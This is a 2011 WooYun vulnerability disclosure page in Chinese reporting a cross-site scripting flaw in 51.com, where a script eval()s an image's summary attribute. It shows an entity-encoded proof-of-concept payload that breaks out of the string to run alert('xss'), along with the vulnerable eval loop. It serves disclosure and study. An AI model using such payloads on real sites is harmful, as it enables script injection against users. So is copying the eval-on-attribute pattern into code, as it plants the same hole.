当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2011-01867
漏洞标题：
51.com跨站漏洞
相关厂商：
51.com
漏洞作者：
jsbug
提交时间：
2011-04-12 05:13
修复时间：
2011-04-17 06:00
公开时间：
2011-04-17 06:00
漏洞类型：
xss跨站脚本攻击
危害等级：
中
自评Rank：
5
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2011-04-12： 细节已通知厂商并且等待厂商处理中
2011-04-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://pic.51img1.com/v3/home/scripts/pub_newhome.pack.js?v=20110126.js
图片处理函数setImgsAuto()调用eval出现漏洞.

详细说明：

<img src="http://static.51img1.com/v3/bbs/images/loading.gif" width="42" border="0" summary="{u:'http://hi.baidu.com/jsbug&#39&#125&#41&#59&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#47&#47',w:'auto',h:'auto'}" />
<script language="javascript" type="text/javascript">
var len=document.images.length;
for(var i=0;i<len;i++){
    o=document.images[i];
    if(d=o.getAttribute("summary")){
        da=eval("("+d.replace(/\r/ig,"").replace(/\n/ig,"").replace(/<br \/>/ig,"")+")");
    }
        o=da=null;
}
</script>

漏洞证明：

修复方案：

版权声明：转载请注明来源 jsbug@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2011-04-17 06:00

厂商回复：

漏洞Rank：10 (WooYun评价)

最新状态：

2011-04-18：已收到，多谢jsbug

2011-04-18：已修复，再次感谢jsbug哈。